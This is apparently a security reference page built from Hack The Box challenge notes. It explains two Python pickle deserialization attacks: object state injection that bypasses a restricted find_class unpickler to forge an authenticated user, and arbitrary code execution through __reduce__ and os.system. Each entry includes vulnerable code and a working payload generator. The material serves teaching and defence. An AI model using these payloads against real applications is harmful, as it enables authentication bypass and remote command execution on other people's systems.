Pickle
Pickle object state injection
Restricting Pickle to specific classes does not restrict the attributes restored into those classes. If the application trusts one of those attributes, an attacker may be able to change application state without executing arbitrary code.
Vulnerable code
The loader only allows the User class, then trusts user.authenticated after unpickling:
class User:
def __init__(self, username, authenticated=False):
self.username = username
self.authenticated = authenticated
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "__main__" and name == "User":
return User
raise pickle.UnpicklingError("Unauthorized class")
user = RestrictedUnpickler(io.BytesIO(serialized_user)).load()
if not user.authenticated:
return "Authentication required", 403What find_class() does
find_class() is a special method of pickle.Unpickler. A class that inherits from Unpickler can override this method, which is what RestrictedUnpickler does in the vulnerable code.
A pickle does not contain the source code for every class or function it uses. It stores their module and name instead. When the unpickler encounters one of these references, it calls find_class(module, name) and expects the method to return the actual Python class or function.
The serialized User object refers to the class as __main__.User. __main__ is the module name given to the script being run, and User is the class defined inside it. Unpickling this object triggers the following lookup:
Pickle requests __main__.User
-> find_class("__main__", "User")
-> the condition matches
-> return UserReturning User gives Pickle the class it needs, so reconstruction is allowed to continue.
An os.system payload requires a different global lookup. On Linux, os.system is provided by the posix module, so Pickle records the function as posix.system. Unpickling that payload triggers this lookup instead:
Pickle requests posix.system
-> find_class("posix", "system")
-> the condition does not match
-> raise pickle.UnpicklingErrorThe exception is raised before find_class() returns the system function. Pickle never obtains the function, so it cannot call it and unpickling stops.
Why object state is still accepted
The find_class() check only decides whether Pickle can obtain the requested class or function. It does not receive the attributes that will be placed onto an allowed object.
The User attributes are stored separately as the object’s state:
{
"username": "<USERNAME>",
"authenticated": True
}find_class() controls which class Pickle can use, including the methods and other behavior defined by that class. Because User has a normal __dict__, the serialized state can change existing instance attributes or append arbitrary new ones, which become normal attributes available to the application. The state cannot add new methods to the User class.
Payload generator
The payload creates a User object with authenticated=True, serializes it, and Base64-encodes the bytes for transport:
import base64
import pickle
class User:
def __init__(self, username, authenticated=False):
self.username = username
self.authenticated = authenticated
user = User("<USERNAME>", True)
serialized_user = pickle.dumps(user)
encoded_user = base64.b64encode(serialized_user).decode()The exploit runs in a separate process, so it cannot instantiate the target process’s User class directly. Defining the same class locally gives pickle.dumps() an object to serialize and records it as __main__.User, which matches the target check. Importing a User class from another module would record that module name instead and fail the exact __main__.User comparison.
Find by: python deserialization, pickle object injection, object state injection, instance state, attribute injection, authenticated attribute, restricted unpickler, find_class, global resolution, authorization bypass, base64 pickle · Source: HTB/DLLAMA
Python Pickle arbitrary code execution
Python Pickle is a serialization format for storing Python objects as bytes. Unlike a format limited to plain data, a Pickle stream can contain reconstruction instructions describing how Python should recreate an object.
pickle.loads() accepts Pickle bytes, interprets those instructions, and returns the reconstructed Python object. Some instructions call a Python callable during reconstruction. A callable is a function, class, or other Python object that can be invoked with parentheses. Attacker control over the Pickle bytes can therefore turn pickle.loads() into a code-execution sink.
Vulnerable sink
The encoded value is decoded into bytes and passed directly to pickle.loads():
decoded_value = base64.b64decode(encoded_value)
deserialized_value = pickle.loads(decoded_value)base64.b64decode() only removes the transport encoding. pickle.loads() is the operation that deserializes the object and executes its reconstruction instructions.
The input flow is:
Base64-encoded input
-> base64.b64decode()
-> serialized Pickle bytes
-> pickle.loads()
-> object reconstruction
-> callable executionPayload generator
__reduce__() is a special method used by Pickle to ask an object how it should be reconstructed. It returns two important values: the callable to execute and a tuple containing the arguments passed to that callable. This payload selects the os.system function and supplies the operating-system command as its only argument.
import base64
import os
import pickle
def prepare_payload(command):
class RCE:
def __reduce__(self):
reduction = os.system, (command,)
return reduction
payload_object = RCE()
serialized_payload = pickle.dumps(payload_object)
encoded_payload = base64.b64encode(serialized_payload)
payload = encoded_payload.decode()
return payload
command = "<COMMAND>"
payload = prepare_payload(command)
print(payload)pickle.dumps() runs locally and asks the payload object’s __reduce__() method for its reconstruction instructions. It writes the selected function and arguments into the Pickle byte stream; it does not call os.system locally. The target later interprets those instructions with pickle.loads(), which calls os.system(command) during reconstruction.
Find by: python deserialization, pickle, pickle loads, pickle dumps, unsafe pickle, reduce, reduce, object reconstruction, arbitrary code execution, os system, base64 pickle, payload generator · Source: HTB/C.O.P.